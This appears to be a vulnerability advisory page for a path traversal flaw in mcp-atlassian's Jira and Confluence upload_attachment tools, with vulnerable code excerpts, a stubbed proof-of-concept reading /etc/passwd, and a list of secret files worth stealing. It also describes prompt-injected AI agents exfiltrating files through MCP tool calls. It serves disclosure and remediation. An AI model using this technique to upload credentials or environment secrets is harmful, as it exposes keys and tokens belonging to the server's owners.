CVE-2026-77266: MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read and exfiltration via MCP tool call
The Jira and Confluence `upload_attachment` functions in mcp-atlassian before 0.22.0 open any `file_path` without calling `validate_safe_path()`. A compromised or prompt-injected MCP client can upload `/proc/self/environ` or the OAuth token files as attachments. Upgrade to 0.22.0.
Published Sep 22, 2026 · Analysis Oct 22, 2026
What an attacker can do
The path validator validate_safe_path() was added for downloads under GHSA-xjgw-4wvw-rgm4. Uploads were skipped in both modules. In jira/attachments.py, upload_attachment() makes the path absolute, checks it exists and opens it with open(file_path, "rb") before add_attachment. In confluence/attachments.py, upload_attachment() does the same, and _upload_attachment_direct() opens the file at around line 477.
The reporter's tests, using stubs and no real credentials, ran against commit d8bc786 (v0.21.1). upload_attachment on /etc/passwd returned success: True with a size of 3388 bytes in both modules.
Any authenticated MCP client can call jira_upload_attachment or confluence_upload_attachment. That includes a compromised agent, a prompt-injected session or a malicious plugin. Readable targets include /etc/shadow, /proc/self/environ with API keys, ~/.mcp-atlassian/oauth-*.json refresh tokens, SSH keys and TLS certificates. The content is stored as a visible attachment on the issue or page. The reporter says both HTTP multi-user and local stdio deployments are affected.
Who is affected
mcp-atlassian below 0.22.0, on both the Jira and Confluence upload tools. The reporter verified v0.21.1. Risk grows with the privileges and secrets available to the server process.
pip show mcp-atlassianmcp-atlassian
- Ecosystem
- PyPI
- Affected
- < 0.22.0
- Fixed in
- 0.22.0
- Check
pip show mcp-atlassian
How to fix it
Upgrade to 0.22.0:
pip install --upgrade mcp-atlassian==0.22.0The fix is pull request 1448. The advisory names no workaround. Run the server as a low-privilege user without access to secrets it does not need, and rotate any OAuth tokens or keys readable by that user if you suspect they were taken. Disabling write tools with READ_ONLY_MODE=true blocks the upload tools, if you do not need them.
How to tell if you were hit
Review attachments on Jira issues and Confluence pages added by the integration account, looking for names such as environ, passwd, shadow and oauth-*.json. Search tool-call logs for jira_upload_attachment and confluence_upload_attachment with absolute or /proc/ paths. Beam records agent MCP tool calls, so a prompt-injected upload would appear in the agent's session history.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
The upload_attachment functions in both the Jira and Confluence modules accept a user-controlled file_path parameter and open the specified file for reading without calling `validate_safe_path()`. An authenticated MCP client can supply an arbitrary path such as /etc/passwd or /proc/self/environ, causing the server process to read and transmit the file's contents to the remote Atlassian instance as an attachment.
This is an incomplete fix relative to GHSA-xjgw-4wvw-rgm4: the download_attachment and download_issue_attachments paths were hardened with validate_safe_path(), but the upload direction was left unguarded in both the Jira and Confluence modules.
---
Details
Affected functions:
| File | Function | Line | | `src/mcp_atlassian/jira/attachments.py` | `upload_attachment()` | ~372–415 | | `src/mcp_atlassian/confluence/attachments.py` | `upload_attachment()` | ~62–108 | | `src/mcp_atlassian/confluence/attachments.py` | `_upload_attachment_direct()` | ~476–477 |
Jira — vulnerable code path (`jira/attachments.py`):
def upload_attachment(self, issue_key: str, file_path: str) -> dict:
...
if not os.path.isabs(file_path):
file_path = os.path.abspath(file_path) # resolves relative paths
if not os.path.exists(file_path): # confirms file exists
...
# ⚠ validate_safe_path() is NEVER called here
filename = os.path.basename(file_path)
with open(file_path, "rb") as file: # arbitrary file opened
attachment = self.jira.add_attachment(
issue_key=issue_key, filename=file_path
)Compare with the protected download path in the same file:
def download_attachment(self, url: str, target_path: str) -> bool:
...
validate_safe_path(target_path) # upload has no equivalentConfluence — vulnerable code path (`confluence/attachments.py`):
def upload_attachment(self, content_id, file_path, ...):
...
if not os.path.isabs(file_path):
file_path = os.path.abspath(file_path)
# ⚠ validate_safe_path() is NEVER called
filename = os.path.basename(file_path)
attachment = self._upload_attachment_direct(
content_id, file_path, filename, comment, minor_edit
)
# Inside _upload_attachment_direct():
files = {"file": (filename, open(file_path, "rb"))} # ← arbitrary file opened---
PoC
Tested against commit d8bc786 (v0.21.1, latest main). No real Atlassian credentials required — the API call is stubbed.
Jira PoC (`poc_001_jira_path_traversal.py`):
import sys, os, types
from unittest.mock import MagicMock
sys.path.insert(0, "src")
def _make_pkg(name):
m = types.ModuleType(name); m.__path__ = []; sys.modules[name] = m; return m
atlassian_pkg = _make_pkg("atlassian")
atlassian_jira = _make_pkg("atlassian.jira")
atlassian_pkg.jira = atlassian_jira
atlassian_jira.Jira = type("Jira", (), {
"__init__": lambda s, *a, **k: None,
"_session": MagicMock()
})
atlassian_pkg.Jira = atlassian_jira.Jira
keyring = _make_pkg("keyring")
keyring.get_password = keyring.set_password = lambda *a, **k: None
from mcp_atlassian.jira.attachments import AttachmentsMixin
from mcp_atlassian.jira.config import JiraConfig
config = JiraConfig(url="https://test.atlassian.net", auth_type="basic",
username="x", api_token="x")
class FakeFetcher(AttachmentsMixin):
def __init__(self):
self.config = config
self.jira = MagicMock()
self.jira.add_attachment.return_value = {"id": "99", "filename": "passwd"}
result = FakeFetcher().upload_attachment(issue_key="TEST-1", file_path="/etc/passwd")
print(result)Observed output — Jira (Kali Linux, v0.21.1):
[*] Target file : /etc/passwd
[*] Calling : AttachmentsMixin.upload_attachment()
[*] Return value: {'success': True, 'issue_key': 'TEST-1', 'filename': 'passwd', 'size': 3388, 'id': '99'}
[*] Files opened: ['/etc/passwd']
[!!!] VULNERABLE — file opened with no path validation
add_attachment call args: call(issue_key='TEST-1', filename='/etc/passwd')Observed output — Confluence (Kali Linux, v0.21.1):
[*] Target file : /etc/passwd
[*] Calling : ConfluenceAttachmentsMixin.upload_attachment()
[*] Return value: {'success': True, 'content_id': '123456', 'filename': 'passwd', 'size': 3388, 'id': 'att-99'}
[*] Files opened: ['/etc/passwd']
[!!!] VULNERABLE — /etc/passwd opened without validate_safe_path()
upload_attachment() → _upload_attachment_direct() → open(file_path)
download_attachment() in same file IS protected — asymmetric fixKey evidence:
success: True— no exception raised, no path validation triggeredsize: 3388—/etc/passwdwas opened and read byos.path.getsize()- Both modules affected independently — neither Jira nor Confluence has an upload-side guard
In a live deployment, the file content is streamed directly to the Atlassian API and stored as a visible attachment on the issue or page.
---
Impact
Any authenticated MCP client — including a compromised AI agent, a prompt-injected session, or a malicious plugin — can read and exfiltrate arbitrary files readable by the server process:
/etc/shadow— system password hashes/proc/self/environ— process environment variables (API keys, secrets)~/.mcp-atlassian/oauth-*.json— stored OAuth refresh tokens- SSH private keys, TLS certificates, application configuration files
No special privileges beyond standard MCP tool access are required. The vulnerability affects both HTTP-mode (multi-user) and stdio-mode (local) deployments. Both the jira_upload_attachment and confluence_upload_attachment MCP tools are affected.
Root cause: The validate_safe_path() utility introduced in GHSA-xjgw-4wvw-rgm4 was applied only to *download* operations. The upload path in both modules was never patched, leaving a symmetric file-read vector open.
Credited to hewei-gikaku.
Questions
- Why is this called an incomplete fix?
GHSA-xjgw-4wvw-rgm4 guarded downloads with validate_safe_path. The matching upload functions in Jira and Confluence were left without it.
- Are stdio deployments safe?
No. The reporter says both HTTP multi-user and local stdio modes are affected, since any client able to call the tool can pick the path.
- What is the highest-value target file?
/proc/self/environand~/.mcp-atlassian/oauth-*.json, which hold API keys and OAuth refresh tokens.- Is there a public exploit?
The advisory includes stubbed proof-of-concept code. No exploitation in the wild is reported.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-77361
obsidian-tc : Symlink read-ACL scope bypass via lexical path checks
medium4.7Oct 23, 2026CVE-2026-114126
Storybook dev server vulnerable to code injection from the local network
high8.7Oct 22, 2026CVE-2026-113731
djust: Arbitrary absolute-path file read in the find_handlers_for_template MCP tool
low3.3Oct 21, 2026CVE-2026-114125
Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites
critical9.4Oct 21, 2026CVE-2026-111770
MCP TypeScript server SDK: Shared transport or server instances delivered one HTTP client's messages to another
high7.7Oct 20, 2026GHSA-953h-535j-jg2v
agent-router: MCP session resume does not verify the embedded anti-hijacking subject; default Helm seed makes session IDs forgeable
medium6.8Oct 19, 2026
